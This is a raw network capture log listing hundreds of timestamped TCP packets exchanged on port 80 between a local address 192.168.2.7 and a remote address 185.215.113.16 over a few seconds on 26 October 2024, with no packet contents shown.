Oct 26, 2024 08:53:16.687577963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.687731028 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.720376968 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.720423937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.720438957 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.720454931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.720482111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.724142075 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.775341034 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.804842949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.804862976 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.804877996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.804950953 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.847199917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.847217083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.847239971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.847251892 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.847256899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.847274065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.847287893 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.847326994 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.922086000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.922112942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.922152042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.922166109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.922167063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.922207117 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.964700937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.964724064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.964740038 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.964755058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.964767933 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:16.964771032 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:16.964802980 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.009695053 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.039561987 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.039587975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.039606094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.039669037 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.082077026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.082102060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.082118034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.082125902 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.082137108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.082153082 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.082185030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.082209110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.082236052 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.134782076 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.156892061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.156919956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.156934977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.156975985 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.197251081 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.199460030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.199477911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.199492931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.199532032 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.199542046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.199558973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.199573994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.199588060 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.199620962 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.255024910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.255040884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.255110025 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.274230957 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.274247885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.274261951 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.274317980 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.318357944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.318438053 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.318471909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.318660975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.318675995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.318692923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.318707943 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.318770885 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.392498970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.392522097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.392621994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.392652035 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.435509920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.435530901 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.435554028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.435568094 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.435569048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.435587883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.435599089 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.435633898 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.435678959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.435776949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.435816050 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.509170055 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.509196043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.509224892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.509370089 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.552917957 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.552933931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.552949905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.553014040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.553014040 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.553028107 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.553033113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.553049088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.553101063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.595848083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.595901966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.595917940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.595917940 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.595973015 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.626590014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.626605988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.626621008 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.626688957 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.670672894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.670698881 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.670713902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.670773029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.670780897 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.670789003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.670825005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.670847893 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.713210106 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.713237047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.713253021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.713351011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.744071960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.744097948 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.744143009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.744143963 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.744188070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.788156986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.788182974 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.788199902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.788296938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.830912113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.830938101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.830954075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.830967903 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.830984116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.830995083 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.831027031 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.831056118 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.861557961 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.861582041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.861598015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.861630917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.905394077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.905411959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.905426025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.905456066 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.905483007 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.948309898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.948334932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.948350906 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.948400974 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.948402882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.948420048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.948466063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.978636980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.978676081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.978692055 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:17.978782892 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:17.978782892 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.022716999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.022733927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.022748947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.022790909 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.065681934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.065707922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.065721989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.065746069 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.065761089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.065789938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.065824986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.065841913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.065843105 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.065859079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.065891981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.096216917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.096234083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.096249104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.096313000 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.096364021 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.140135050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.140217066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.140229940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.140243053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.140302896 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.140328884 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.183326006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.183481932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.183497906 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.183531046 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.228470087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.333282948 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333306074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333322048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333343029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333385944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333401918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333429098 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.333487988 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.333739042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333754063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333769083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333784103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333801985 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333816051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.333821058 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.333848953 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.333861113 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.491177082 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.496567011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.768476009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.768501043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.768515110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.768587112 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.918607950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.918625116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.918642044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.918657064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.918665886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.918668985 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.918674946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.918713093 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.918740988 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.918894053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.918919086 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.918935061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:18.918960094 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:18.962819099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.003616095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.003634930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.003652096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.003667116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.003678083 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.003683090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.003715038 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.035758972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.035774946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.035810947 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.035820007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.035860062 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.035866976 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.035882950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.035919905 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.120726109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.120743036 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.120758057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.120784998 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.153388977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.153412104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.153434992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.153448105 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.153450012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.153465986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.153482914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.153484106 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.153498888 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.197180033 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.237906933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.237962008 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.238030910 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.270390987 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.270409107 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.270422935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.270458937 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.270600080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.270613909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.270649910 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.270867109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.270883083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.270898104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.270912886 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.270912886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.270936966 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.322194099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.387994051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.388010025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.388026953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.388072014 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.388092995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.388109922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.388134956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.388139963 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.388151884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.388175011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.388179064 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.388217926 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.435054064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.435072899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.435138941 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.505306005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.505331039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.505346060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.505404949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.505420923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.505436897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.505435944 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.505506992 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.505739927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.505779982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.505795002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.505825996 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.556569099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.603167057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.603193045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.603207111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.603266954 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.622608900 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.622652054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.622667074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.622667074 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.622713089 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.622750998 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.622762918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.622812033 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.622876883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.622900963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.622955084 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.772505045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.772567987 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.772584915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.772614002 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.772659063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.772675037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.772690058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.772701979 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.772732973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:19.773046970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:19.773119926 CEST	80	49759	185.215.113.16	192.168.2.7
